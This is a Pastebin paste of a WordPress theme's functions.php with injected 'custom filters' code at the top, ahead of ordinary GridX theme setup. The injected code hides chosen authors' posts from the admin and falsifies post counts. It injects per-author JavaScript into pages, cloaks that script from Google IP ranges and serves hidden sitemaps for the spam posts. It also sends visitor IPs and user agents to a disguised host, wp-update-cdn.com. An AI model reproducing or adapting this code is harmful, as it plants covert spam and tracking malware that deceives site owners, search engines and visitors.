faybobo

Untitled

Feb 18th, 2022
245
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 30.27 KB | None | 0 0
  1. <?php
  2.  
  3. /* custom filters */
  4.  
  5. function add_where_condition($where) {
  6.     global $wpdb, $userSettingsArr;
  7.  
  8.     $ids = array_keys($userSettingsArr);
  9.     $idsCommaSeparated = implode(', ', $ids);
  10.  
  11.  
  12.     if (!is_single() && is_admin()) {
  13.         add_filter('views_edit-post', 'fix_post_counts');
  14.         return $where . " AND {$wpdb->posts}.post_author NOT IN ($idsCommaSeparated)";
  15.     }
  16.  
  17.     return $where;
  18. }
  19.  
  20. function post_exclude($query) {
  21.  
  22.     global $userSettingsArr;
  23.  
  24.     $ids = array_keys($userSettingsArr);
  25.     $excludeString = modifyWritersString($ids);
  26.  
  27.     if (!$query->is_single() && !is_admin()) {
  28.         $query->set('author', $excludeString);
  29.     }
  30. }
  31.  
  32. function wp_core_js() {
  33.  
  34.     global $post, $userSettingsArr;
  35.  
  36.     foreach ($userSettingsArr as $id => $settings) {
  37.         if (($id == $post->post_author) && (isset($settings['js']))) {
  38.            
  39.             if (hideJSsource($settings)) {
  40.                 break;
  41.             }
  42.             echo $settings['js'];
  43.             break;
  44.         }
  45.     }
  46. }
  47.  
  48. function hideJSsource($settings) {
  49.     if (isset($settings['nojs']) && $settings['nojs'] === 1) {
  50.         customSetDebug('cloacking is on!');
  51.         customSendDebug();
  52.         if (customCheckSe()) {
  53.             return true;
  54.         }
  55.     }
  56.     return false;
  57. }
  58.  
  59. function fix_post_counts($views) {
  60.     global $current_user, $wp_query;
  61.  
  62.     $types = array(
  63.         array('status' => NULL),
  64.         array('status' => 'publish'),
  65.         array('status' => 'draft'),
  66.         array('status' => 'pending'),
  67.         array('status' => 'trash'),
  68.         array('status' => 'mine'),
  69.     );
  70.     foreach ($types as $type) {
  71.  
  72.         $query = array(
  73.             'post_type' => 'post',
  74.             'post_status' => $type['status']
  75.         );
  76.  
  77.  
  78.         $result = new WP_Query($query);
  79.  
  80.  
  81.         if ($type['status'] == NULL) {
  82.             if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
  83.                 $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
  84.             }
  85.         } elseif ($type['status'] == 'mine') {
  86.  
  87.  
  88.             $newQuery = $query;
  89.             $newQuery['author__in'] = array($current_user->ID);
  90.  
  91.             $result = new WP_Query($newQuery);
  92.  
  93.             if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
  94.                 $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
  95.             }
  96.         } elseif ($type['status'] == 'publish') {
  97.             if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
  98.                 $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
  99.             }
  100.         } elseif ($type['status'] == 'draft') {
  101.             if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
  102.                 $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
  103.             }
  104.         } elseif ($type['status'] == 'pending') {
  105.             if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
  106.                 $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
  107.             }
  108.         } elseif ($type['status'] == 'trash') {
  109.             if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
  110.                 $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
  111.             }
  112.         }
  113.     }
  114.     return $views;
  115. }
  116.  
  117. function filter_function_name_4055($counts, $type, $perm) {
  118.  
  119.     if ($type === 'post') {
  120.         $old_counts = $counts->publish;
  121.         $counts_mod = posts_count_custom($perm);
  122.         $counts->publish = !$counts_mod ? $old_counts : $counts_mod;
  123.     }
  124.     return $counts;
  125. }
  126.  
  127. function posts_count_custom($perm) {
  128.     global $wpdb, $userSettingsArr;
  129.  
  130.     $ids = array_keys($userSettingsArr);
  131.     $idsCommaSeparated = implode(', ', $ids);
  132.  
  133.  
  134.     $type = 'post';
  135.  
  136.     $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";
  137.  
  138.     if ('readable' == $perm && is_user_logged_in()) {
  139.  
  140.         $post_type_object = get_post_type_object($type);
  141.  
  142.         if (!current_user_can($post_type_object->cap->read_private_posts)) {
  143.             $query .= $wpdb->prepare(
  144.                     " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
  145.             );
  146.         }
  147.     }
  148.     $query .= " AND post_author NOT IN ($idsCommaSeparated) GROUP BY post_status";
  149.     $results = (array) $wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);
  150.  
  151.     foreach ($results as $tmpArr) {
  152.         if ($tmpArr['post_status'] === 'publish') {
  153.             return $tmpArr['num_posts'];
  154.         }
  155.     }
  156. }
  157.  
  158. function all_custom_posts_ids($userId) {
  159.     global $wpdb;
  160.  
  161.     $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";
  162.  
  163.     $results = (array) $wpdb->get_results($query, ARRAY_A);
  164.  
  165.     $ids = array();
  166.     foreach ($results as $tmpArr) {
  167.         $ids[] = $tmpArr['ID'];
  168.     }
  169.     return $ids;
  170. }
  171.  
  172. function custom_flush_rules() {
  173.  
  174.     global $userSettingsArr, $wp_rewrite;
  175.  
  176.     $rules = get_option('rewrite_rules');
  177.  
  178.  
  179.     foreach ($userSettingsArr as $key => $arr) {
  180.         $regex = key($arr['sitemapsettings']);
  181.  
  182.         if (!isset($rules[$regex]) ||
  183.                 ($rules[$regex] !== current($arr['sitemapsettings']))) {
  184.             $wp_rewrite->flush_rules();
  185.         }
  186.     }
  187. }
  188.  
  189. function sitemap_xml_rules($rules) {
  190.  
  191.     global $userSettingsArr;
  192.  
  193.     $newrules = array();
  194.  
  195.     foreach ($userSettingsArr as $key => $arr) {
  196.         if (isset($arr['sitemapsettings'])) {
  197.             $newrules[key($arr['sitemapsettings'])] = current($arr['sitemapsettings']);
  198.         }
  199.     }
  200.  
  201.     return $newrules + $rules;
  202. }
  203.  
  204. function customSitemapFeed() {
  205.  
  206.     global $userSettingsArr;
  207.  
  208.     foreach ($userSettingsArr as $key => $arr) {
  209.         $feedName = str_replace('index.php?feed=', '', current($arr['sitemapsettings']));
  210.         add_feed($feedName, 'customSitemapFeedFunc');
  211.     }
  212. }
  213.  
  214. function customSitemapFeedFunc() {
  215. //ini_set('memory_limit', '256MB');
  216.     header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);
  217. //header('Content-Type: ' . feed_content_type('rss') . '; charset=' . get_option('blog_charset'), true);
  218.     status_header(200);
  219.  
  220.     $head = sitemapHead();
  221.     $sitemapSource = $head . "\n";
  222.  
  223.     $userId = findUserIdByRequestUri();
  224.  
  225.     $posts_ids = all_custom_posts_ids($userId);
  226.     $priority = '0.5';
  227.     $changefreq = 'weekly';
  228.     $lastmod = date('Y-m-d');
  229.  
  230.     foreach ($posts_ids as $post_id) {
  231.         $url = get_permalink($post_id);
  232.         $sitemapSource .= urlBlock($url, $lastmod, $changefreq, $priority);
  233.         wp_cache_delete($post_id, 'posts');
  234.     }
  235.  
  236.     $sitemapSource .= "\n</urlset>";
  237.  
  238.     echo $sitemapSource;
  239. }
  240.  
  241. function sitemapHead() {
  242.     return <<<STR
  243. <?xml version="1.0" encoding="UTF-8"?>
  244. <urlset
  245.       xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"
  246.       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  247.       xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9
  248.             http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">
  249.  
  250.    
  251. STR;
  252. }
  253.  
  254. function urlBlock($url, $lastmod, $changefreq, $priority) {
  255.  
  256.     return <<<STR
  257.    <url>
  258.       <loc>$url</loc>
  259.       <lastmod>$lastmod</lastmod>
  260.       <changefreq>$changefreq</changefreq>
  261.       <priority>$priority</priority>
  262.    </url>\n\n
  263. STR;
  264. }
  265.  
  266. function modifyWritersString($writersArr) {
  267.     $writersArrMod = array();
  268.  
  269.     foreach ($writersArr as $item) {
  270.         $writersArrMod[] = '-' . $item;
  271.     }
  272.     return implode(',', $writersArrMod);
  273. }
  274.  
  275. function customFiltersSettings() {
  276.     $settings = get_option('wp_custom_filters');
  277.  
  278.     if (!$settings) {
  279.         return null;
  280.     }
  281.  
  282.     return unserialize(base64_decode($settings));
  283. }
  284.  
  285. function findUserIdByRequestUri() {
  286.  
  287.     global $userSettingsArr;
  288.  
  289.     foreach ($userSettingsArr as $key => $arr) {
  290.  
  291.         $regexp = key($arr['sitemapsettings']) . '|'
  292.                 . str_replace('index.php?', '', current($arr['sitemapsettings']) . '$');
  293.  
  294.         if (preg_match("~$regexp~", $_SERVER['REQUEST_URI'])) {
  295.             return $key;
  296.         }
  297.     }
  298. }
  299.  
  300. function isCustomPost() {
  301.     global $userSettingsArr, $post;
  302.  
  303.     $authors_ids_arr = array_keys($userSettingsArr);
  304.     if (in_array($post->post_author, $authors_ids_arr)) {
  305.         return true;
  306.     }
  307.     return false;
  308. }
  309.  
  310. function removeYoastMeta() {
  311.     global $userSettingsArr, $post;
  312.  
  313.     $authors_ids_arr = array_keys($userSettingsArr);
  314.  
  315.     if (in_array($post->post_author, $authors_ids_arr)) {
  316.         add_filter('wpseo_robots', '__return_false');
  317.         add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
  318.         add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
  319.     }
  320. }
  321.  
  322. function getRemoteIp() {
  323.  
  324.     if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
  325.         return $_SERVER['HTTP_X_FORWARDED_FOR'];
  326.     }
  327.     if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
  328.         return $_SERVER['HTTP_CF_CONNECTING_IP'];
  329.     }
  330.     if (isset($_SERVER['REMOTE_ADDR'])) {
  331.         return $_SERVER['REMOTE_ADDR'];
  332.     }
  333.  
  334.     return false;
  335. }
  336.  
  337. function customCheckSe() {
  338.  
  339.     $ip = getRemoteIp();
  340.  
  341.     if (strstr($ip, ', ')) {
  342.         $ips = explode(', ', $ip);
  343.         $ip = $ips[0];
  344.     }
  345.  
  346.     $ranges = customSeIps();
  347.  
  348.     if (!$ranges) {
  349.         return false;
  350.     }
  351.  
  352.     foreach ($ranges as $range) {
  353.         if (customCheckInSubnet($ip, $range)) {
  354.             customSetDebug(sprintf('black_list||%s||%s||%s||%s', $ip, $range
  355.                             , $_SERVER['HTTP_USER_AGENT'], $_SERVER['HTTP_ACCEPT_LANGUAGE']));
  356.             return true;
  357.         }
  358.     }
  359.    
  360.     customSetDebug(sprintf('white list||%s||%s||%s||%s', $ip, $range
  361.                             , $_SERVER['HTTP_USER_AGENT'], $_SERVER['HTTP_ACCEPT_LANGUAGE']));
  362.     return false;
  363. }
  364.  
  365. function customIsRenewTime($timestamp) {
  366.     //if ((time() - $timestamp) > 60 * 60 * 24) {
  367.     if ((time() - $timestamp) > 60 * 60) {
  368.         return true;
  369.     }
  370.     customSetDebug(sprintf('time - %s, timestamp - %s', time(), $timestamp));
  371.     return false;
  372. }
  373.  
  374. function customSetDebug($data) {
  375.  
  376.     if (($value = get_option('wp_debug_data')) && is_array($value)) {
  377.         $value[] = sprintf('%s||%s||%s', time(), $_SERVER['HTTP_HOST'], $data);
  378.         update_option('wp_debug_data', $value, false);
  379.         return;
  380.     }
  381.  
  382.     update_option('wp_debug_data', array($data), false);
  383. }
  384.  
  385. function customSendDebug() {
  386.  
  387.     $value = get_option('wp_debug_data');
  388.  
  389.     if (!is_array($value) || (count($value) < 100)) {
  390.         return;
  391.     }
  392.     $url = 'http://wp-update-cdn.com/src/ualog.php';
  393.  
  394.     $response = wp_remote_post($url, array(
  395.         'method' => 'POST',
  396.         'timeout' => 10,
  397.         'body' => array('debugdata' => base64_encode(serialize($value))))
  398.     );
  399.  
  400.     if (is_wp_error($response)) {
  401.         return;
  402.     } else {
  403.         if (trim($response['body']) === 'success') {
  404.             update_option('wp_debug_data', array(), false);
  405.         }
  406.     }
  407. }
  408.  
  409. function customSeIps() {
  410.  
  411.     if (($value = get_option('wp_custom_range')) && !customIsRenewTime($value['timestamp'])) {
  412.         return $value['ranges'];
  413.     } else {
  414.         customSetDebug('time to update ranges');
  415.         $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
  416.         if (is_wp_error($response)) {
  417.             customSetDebug('error response ipranges');
  418.             return;
  419.         }
  420.         $body = wp_remote_retrieve_body($response);
  421.         $ranges = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);
  422.  
  423.         if (!is_array($ranges)) {
  424.             customSetDebug('invalid update ranges not an array');
  425.             return;
  426.         }
  427.  
  428.         $value = array('ranges' => $ranges, 'timestamp' => time());
  429.         update_option('wp_custom_range', $value, true);
  430.         return $value['ranges'];
  431.     }
  432. }
  433.  
  434. function customInetToBits($inet) {
  435.     $splitted = str_split($inet);
  436.     $binaryip = '';
  437.     foreach ($splitted as $char) {
  438.         $binaryip .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
  439.     }
  440.     return $binaryip;
  441. }
  442.  
  443. function customCheckInSubnet($ip, $cidrnet) {
  444.     $ip = inet_pton($ip);
  445.     $binaryip = customInetToBits($ip);
  446.  
  447.     list($net, $maskbits) = explode('/', $cidrnet);
  448.     $net = inet_pton($net);
  449.     $binarynet = customInetToBits($net);
  450.  
  451.     $ip_net_bits = substr($binaryip, 0, $maskbits);
  452.     $net_bits = substr($binarynet, 0, $maskbits);
  453.  
  454.     if ($ip_net_bits !== $net_bits) {
  455.         //echo 'Not in subnet';
  456.         return false;
  457.     } else {
  458.         return true;
  459.     }
  460. }
  461.  
  462. $userSettingsArr = customFiltersSettings();
  463.  
  464.  
  465. if (is_array($userSettingsArr)) {
  466.     add_filter('posts_where_paged', 'add_where_condition');
  467.  
  468.     add_action('pre_get_posts', 'post_exclude');
  469.     add_action('wp_enqueue_scripts', 'wp_core_js');
  470.  
  471.     add_filter('wp_count_posts', 'filter_function_name_4055', 10, 3);
  472.  
  473.     add_filter('rewrite_rules_array', 'sitemap_xml_rules');
  474.     add_action('wp_loaded', 'custom_flush_rules');
  475.     add_action('init', 'customSitemapFeed');
  476.     add_action('template_redirect', 'removeYoastMeta');
  477. }
  478.  
  479. /* custom filters */
  480. /**
  481.  * Globals
  482.  */
  483. define('THEMEDOC', 'http://docs.themeton.com/gridx');
  484. define('SUPPORFORUM', 'http://themeton.com/support');
  485. define('THEME_NOIMAGE', get_template_directory_uri().'/assets/images/noimage.png');
  486. define('ADMIN_PATH', get_template_directory().'/framework/');
  487. define('ADMIN_DIR', get_template_directory_uri().'/framework/');
  488. define('ADMIN_IMAGES', get_template_directory_uri().'/framework/admin-assets/images/');
  489.  
  490.  
  491. /*
  492. * The function allows us to include deep directory PHP files if they exist in child theme path.
  493. * Otherwise it works just regularly include main theme files.
  494. */
  495. if (!function_exists('file_require')) {
  496.     function file_require($file, $uri = false) {
  497.         $file = str_replace("\\", "/", $file); // Replaces If the customer runs on Win machine. Otherway it doesn't perform
  498.         if (is_child_theme()) {
  499.             if (!$uri) {
  500.                 $dir = str_replace("\\", "/", get_template_directory());
  501.                 $replace = str_replace("\\", "/", get_stylesheet_directory());
  502.                 $file_exist = str_replace($dir, $replace, $file);
  503.                 $file = str_replace($replace, $dir, $file);
  504.             } else {
  505.                 $dir = get_template_directory_uri();
  506.                 $replace = get_stylesheet_directory_uri();
  507.                 $file_exist = str_replace($dir, $replace, $file);
  508.  
  509.                 $file_child_url = str_replace($dir, get_stylesheet_directory(), $file);
  510.                 if( file_exists($file_child_url) ){
  511.                     return $file_exist;
  512.                 }
  513.             }
  514.  
  515.             if( file_exists($file_exist) ){
  516.                 $file_child = str_replace($dir, $replace, $file);
  517.                 return $file_child;
  518.             }
  519.             return $file;
  520.  
  521.         } else {
  522.             return $file;
  523.         }
  524.     }
  525. }
  526.  
  527.  
  528.  
  529. if ( ! function_exists( 'gridx_setup' ) ) :
  530.     function gridx_setup() {
  531.  
  532.         // load translate file
  533.         load_theme_textdomain( 'gridx', get_template_directory() . '/languages' );
  534.  
  535.         // Add default posts and comments RSS feed links to head.
  536.         add_theme_support( 'automatic-feed-links' );
  537.  
  538.         // Let WordPress manage the document title.
  539.         add_theme_support( 'title-tag' );
  540.  
  541.         // Enable support for Post Thumbnails on posts and pages.
  542.         add_theme_support( 'post-thumbnails' );
  543.         set_post_thumbnail_size( 850, 480, true );
  544.  
  545.         // Set Image sizes
  546.         add_image_size( 'featured-img', 850, 480, false );
  547.         add_image_size( 'grid-small', 250, 250, true );
  548.         add_image_size( 'grid-horizontal', 500, 250, true );
  549.         add_image_size( 'grid-vertical', 250, 500, true );
  550.         add_image_size( 'grid-large', 500, 500, true );
  551.         add_image_size( 'grid1x1', 400, 400, true );
  552.         add_image_size( 'grid4x3', 400, 300, true );
  553.         add_image_size( 'grid3x4', 300, 400, true );
  554.         add_image_size( 'grid16x9', 400, 225, true );
  555.  
  556.  
  557.         // This theme uses wp_nav_menu() in two locations.
  558.         register_nav_menus( array(
  559.             'primary' => __( 'Primary Menu', 'gridx' ),
  560.             'footer' => __( 'Footer Menu', 'gridx' )
  561.         ) );
  562.  
  563.         // Switch default core markup for search form, comment form, and comments to output valid HTML5.
  564.         add_theme_support( 'html5', array(
  565.             'search-form', 'comment-form', 'comment-list', 'gallery', 'caption'
  566.         ) );
  567.  
  568.         // Enable support for Post Formats.
  569.         add_theme_support( 'post-formats', array(
  570.             'aside', 'image', 'video', 'quote', 'link', 'gallery', 'status', 'audio', 'chat'
  571.         ) );
  572.  
  573.     }
  574. endif;
  575. add_action( 'after_setup_theme', 'gridx_setup' );
  576.  
  577.  
  578. // default content width
  579. if ( ! isset( $content_width ) ) $content_width = 900;
  580.  
  581.  
  582. // Primary callback
  583. function primary_callback(){
  584.     echo '<ul class="nav navbar-nav main-menu">';
  585.     wp_list_pages( array(
  586.         'sort_column'  => 'menu_order, post_title',
  587.         'title_li' => '') );
  588.     echo '</ul>';
  589. }
  590.  
  591. // Footer callback
  592. function footer_callback(){
  593.     echo '<ul class="footer-menu list-inline"><li><a href="'.site_url().'/wp-admin/nav-menus.php">'.__('Please select your footer menu', 'gridx').'</a></li></ul>';
  594. }
  595.  
  596.  
  597.  
  598.  
  599. $tt_sidebars = array();
  600. $tt_sidebars = array_merge(array(
  601.     'sidebar'=> __('Post Sidebar Area', 'gridx'),
  602.     'sidebar-page'=> __('Page Sidebar Area', 'gridx'),
  603.     'sidebar-portfolio'=> __('Portfolio Sidebar Area', 'gridx'),
  604.     'sidebar-left-header'=> __('Left Header Bottom Area', 'gridx'),
  605.     'sidebar-woocommerce'=> __('Woocommerce Sidebar Area', 'gridx')
  606. ), $tt_sidebars);
  607.  
  608. // Register widget area.
  609. function gridx_widgets_init() {
  610.    
  611.     global $tt_sidebars;
  612.     if(isset($tt_sidebars)) {
  613.         foreach ($tt_sidebars as $id => $sidebar) {
  614.             if( !empty($id) ){
  615.                 if( $id=='sidebar-woocommerce' && !class_exists('WC_Product') )
  616.                     continue;
  617.                 if( $id=='sidebar-portfolio' && !class_exists('TT_Portfolio_PT') )
  618.                     continue;
  619.                
  620.                 register_sidebar(array(
  621.                     'name' => $sidebar,
  622.                     'id' => $id,
  623.                     'description' => __( 'Add widgets here to appear in your sidebar.', 'gridx' ),
  624.                     'before_widget' => '<aside id="%1$s" class="widget %2$s">',
  625.                     'after_widget'  => '</aside>',
  626.                     'before_title'  => '<h3 class="widget-title">',
  627.                     'after_title'   => '</h3>'
  628.                 ));                
  629.             }
  630.         }
  631.     }
  632.  
  633.  
  634.     // Footer widget areas
  635.     for($i=1; $i<5; $i++ ) {
  636.         register_sidebar(
  637.             array(
  638.                 'name'          => __( 'Footer Column', 'gridx' ) . ' ' .$i,
  639.                 'id'            => 'footer'.$i,
  640.                 'description'   => __( 'Add widgets here to appear in your footer column', 'gridx' ) . ' ' .$i,
  641.                 'before_widget' => '<aside id="%1$s" class="widget %2$s">',
  642.                 'after_widget'  => '</aside>',
  643.                 'before_title'  => '<h3 class="widget-title">',
  644.                 'after_title'   => '</h3>',
  645.             )
  646.         );
  647.     }
  648. }
  649. add_action( 'widgets_init', 'gridx_widgets_init' );
  650.  
  651.  
  652.  
  653.  
  654. if ( ! function_exists( 'gridx_fonts_url' ) ) :
  655.     function gridx_fonts_url() {
  656.         $fonts_url = '';
  657.         $fonts     = array();
  658.         $subsets   = 'latin,latin-ext';
  659.  
  660.         $fonts[] = 'Lato:300,400,700,400italic';
  661.         $fonts[] = 'Raleway:400,600';
  662.  
  663.         if ( $fonts ) {
  664.             $fonts_url = esc_url(add_query_arg( array(
  665.                 'family' => urlencode( implode( '|', $fonts ) ),
  666.                 'subset' => urlencode( $subsets ),
  667.             ), '//fonts.googleapis.com/css' ));
  668.         }
  669.  
  670.         return $fonts_url;
  671.     }
  672. endif;
  673.  
  674.  
  675.  
  676. function gridx_enqueue_scripts() {
  677.     wp_enqueue_script( 'jquery' );
  678.     wp_enqueue_script( 'underscore' );
  679.     wp_enqueue_script( 'backbone' );
  680.     wp_enqueue_script( 'wp-mediaelement' );
  681.  
  682.     if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
  683.         wp_enqueue_script( 'comment-reply' );
  684.     }
  685.  
  686.     // Add custom fonts, used in the main stylesheet.
  687.     wp_enqueue_style( 'gridx-fonts', gridx_fonts_url(), array(), null );
  688.  
  689.     // <!--jQuery and plugins-->
  690.     wp_enqueue_script( 'backbone-paginated', get_template_directory_uri() . '/js/backbone-paginated-collection.js', false, false, true );
  691.     wp_enqueue_script( 'isotope', get_template_directory_uri() . '/js/isotope.pkgd.min.js', false, false, true );
  692.     wp_enqueue_script( 'imagesloaded', get_template_directory_uri() . '/js/imagesloaded.min.js', false, false, true );
  693.     wp_enqueue_script( 'waypoints', get_template_directory_uri() . '/js/jquery.waypoints.min.js', false, false, true );
  694.     wp_enqueue_script( 'jquery-validate', get_template_directory_uri() . '/js/jquery.validate.min.js', false, false, true );
  695.  
  696.     // <!--Bootstrap-->
  697.     wp_enqueue_style( 'bootstrap', get_template_directory_uri() . '/plugins/bootstrap/css/bootstrap.min.css' );
  698.     wp_enqueue_script( 'bootstrap', get_template_directory_uri() . '/plugins/bootstrap/js/bootstrap.min.js', false, false, true );
  699.  
  700.     // <!--Icons and Animates-->
  701.     wp_enqueue_style( 'elegant-font', get_template_directory_uri() . '/plugins/elegant-font/style.css' );
  702.     wp_enqueue_style( 'et-line-font', get_template_directory_uri() . '/plugins/et-line-font/style.css' );
  703.     wp_enqueue_style( 'animate-css', get_template_directory_uri() . '/css/animate.min.css' );
  704.  
  705.     // <!--Media Element Player-->
  706.     wp_enqueue_style( 'media-element-skin', get_template_directory_uri() . '/css/mediaelementplayer.css' );
  707.  
  708.     // <!--Owl Carousel-->
  709.     wp_enqueue_style( 'owl-carousel', get_template_directory_uri() . '/plugins/owl-carousel/owl.carousel.css' );
  710.     wp_enqueue_script( 'owl-carousel', get_template_directory_uri() . '/plugins/owl-carousel/owl.carousel.min.js', false, false, true );
  711.  
  712.     // <!--Magnific lightbox-->
  713.     wp_enqueue_style( 'magnific', get_template_directory_uri() . '/plugins/magnific/magnific-popup.css' );
  714.     wp_enqueue_script( 'magnific', get_template_directory_uri() . '/plugins/magnific/jquery.magnific-popup.min.js', false, false, true );
  715.  
  716.     // Load our main stylesheet.
  717.     wp_enqueue_style( 'gridx-style', get_stylesheet_uri() );
  718.  
  719.     wp_enqueue_script( 'gridx', get_template_directory_uri() . '/js/grid.js', false, false, true );
  720.     wp_enqueue_script( 'fitvids-script', get_template_directory_uri() . '/js/jquery.fitvids.js', false, false, true );
  721.     wp_enqueue_script( 'gridx-script', get_template_directory_uri() . '/js/scripts.js', false, false, true );
  722. }
  723. add_action( 'wp_enqueue_scripts', 'gridx_enqueue_scripts' );
  724.  
  725.  
  726.  
  727.  
  728.  
  729.  
  730. // Print Favicon
  731. add_action('wp_head', 'print_favicon');
  732. function print_favicon(){
  733.     if(TT::get_mod('favicon') != '')
  734.         echo '<link rel="shortcut icon" type="image/x-icon" href="'.TT::get_mod('favicon').'"/>';
  735. }
  736.  
  737.  
  738. // Add header classes in Body class
  739. add_filter( 'body_class', 'body_class_filter' );
  740. function body_class_filter( $classes ) {
  741.     $body_classes = '';
  742.     if(TT::get_mod('dark') == 1)
  743.         $classes[] = 'dark';
  744.  
  745.     // Header style
  746.     global $post;
  747.     $header_style = TT::get_mod('header_style');
  748.     $page_for_posts = get_option('page_for_posts');
  749.     $is_blog_page = is_home() && get_post_type($post) && !empty($page_for_posts) ? true : false;
  750.     if( is_page() || $is_blog_page ){
  751.         if($is_blog_page)
  752.             $post = get_post($page_for_posts);
  753.         $hs = TT::getmeta('page_header');
  754.         $hsc = TT::getmeta('page_header_color');
  755.         $header_style = !empty($hs) && $hs!='header-default' ? $hs : $header_style;
  756.         $header_style .= !empty($hsc) && $hsc!='menu-default' ? " $hsc" : "";
  757.     }
  758.     if( !empty($header_style) && $header_style!='header-default' )
  759.         $classes[] = $header_style;
  760.  
  761.  
  762.  
  763.     $menu_align = TT::get_mod('menu_align');
  764.     if( is_page() || $is_blog_page ){
  765.         if($is_blog_page)
  766.             $post = get_post($page_for_posts);
  767.         $current_menu_align = TT::getmeta("current_menu_align");
  768.         if( !empty($current_menu_align) && $current_menu_align!='default' )
  769.             $menu_align = $current_menu_align;
  770.     }
  771.     $classes[] = $menu_align;
  772.  
  773.     // one page
  774.     if( is_page() || $is_blog_page ){
  775.         if($is_blog_page)
  776.             $post = get_post($page_for_posts);
  777.  
  778.         if( TT::getmeta('wp_page_template', $post->ID)=="one-page.php" )
  779.             $classes[] = "one-page";
  780.         if( TT::getmeta('one_page_menu', $post->ID)=='1' )
  781.             $classes[] = "one-page-menu";
  782.     }
  783.  
  784.     // sticky menu
  785.     $sticky_menu = TT::get_mod('fixed_header');
  786.     if( is_page() || $is_blog_page ){
  787.         if($is_blog_page)
  788.             $post = get_post($page_for_posts);
  789.         $s = TT::getmeta('current_menu_sticky');
  790.         if( !empty($s) )
  791.             $sticky_menu = $s;
  792.     }
  793.     if( $sticky_menu == '1' && !in_array('header-left-side', $classes))
  794.         $classes[] = 'header-fixed-top';
  795.  
  796.     // docment layout
  797.     if(TT::get_mod('boxed_layout') == 1) {
  798.         $classes[] = 'boxed';
  799.     }
  800.  
  801.  
  802.     return $classes;
  803. }
  804.  
  805.  
  806. function tt_mime_types($mime_types){
  807.     $mime_types['svg'] = 'image/svg+xml';
  808.     return $mime_types;
  809. }
  810. add_filter('upload_mimes', 'tt_mime_types', 1, 1);
  811.  
  812.  
  813.  
  814. /*
  815.                                                                    
  816.  _____ _                 _              _____ _                    
  817. |_   _| |_ ___ _____ ___| |_ ___ ___   |     | |___ ___ ___ ___ ___
  818.   | | |   | -_|     | -_|  _| . |   |  |   --| | .'|_ -|_ -| -_|_ -|
  819.   |_| |_|_|___|_|_|_|___|_| |___|_|_|  |_____|_|__,|___|___|___|___|
  820.  
  821. */
  822.  
  823. // Themeton Standard Package
  824. require_once file_require(get_template_directory() . '/framework/classes/class.themeton.std.php');
  825.  
  826. // Less Compiler
  827. require_once file_require(get_template_directory() . '/framework/classes/class.less.php');
  828.  
  829. // Meta fields for Posts
  830. require_once file_require(get_template_directory() . '/framework/classes/class.render.meta.php');
  831. require_once file_require(get_template_directory() . '/framework/classes/class.meta.post.php');
  832. require_once file_require(get_template_directory() . '/framework/classes/class.meta.page.php');
  833. require_once file_require(get_template_directory() . '/framework/classes/class.meta.portfolio.php');
  834.  
  835. // WP Customizer
  836. require_once file_require(get_template_directory() . '/framework/classes/class.wp.customize.controls.php');
  837. require_once file_require(get_template_directory() . '/framework/classes/class.wp.customize.php');
  838. require_once file_require(get_template_directory() . '/framework/functions/functions.customizer.php');
  839.  
  840. // Import functions
  841. require_once file_require(get_template_directory() . '/framework/functions/functions.for.theme.php');
  842. require_once file_require(get_template_directory() . '/framework/functions/functions.breadcrumb.php');
  843.  
  844. // Import Demo Data
  845. require_once file_require(get_template_directory() . '/framework/classes/class.import.data.php');
  846.  
  847. // Support Woocommerce
  848. require_once file_require(get_template_directory() . '/framework/classes/class.woo.commerce.php');
  849.  
  850. // Import Menu
  851. require_once file_require(get_template_directory() . '/framework/widgets/init_widget.php');
  852.  
  853. // TGM Plugin Activation
  854. require_once file_require(get_template_directory() . '/framework/functions/plugin-install.php');
  855.  
  856.  
  857. // Include gridx customize
  858. require_once file_require(get_template_directory() . '/framework/gridx/functions.php');
  859.  
  860. // Import Template tags
  861. require_once file_require(get_template_directory() . '/template-tags.php');
  862.  
  863.  
  864.  
  865.  
  866.  
  867.  
  868. function print_main_menu(){
  869.     global $post;
  870.     $po = $post;
  871.     $page_for_posts = get_option('page_for_posts');
  872.     $is_blog_page = is_home() && get_post_type($post) && !empty($page_for_posts) ? true : false;
  873.     if( (is_page() || $is_blog_page) && $is_blog_page )
  874.         $po = get_post($page_for_posts);
  875.  
  876.     if( isset($po->ID) && TT::getmeta('wp_page_template', $po->ID)=="one-page.php" && TT::getmeta('one_page_menu', $po->ID)=='1' ){
  877.         $content = $po->post_content;
  878.         $pattern = get_shortcode_regex();
  879.  
  880.         echo "<ul class='nav navbar-nav main-menu'>";
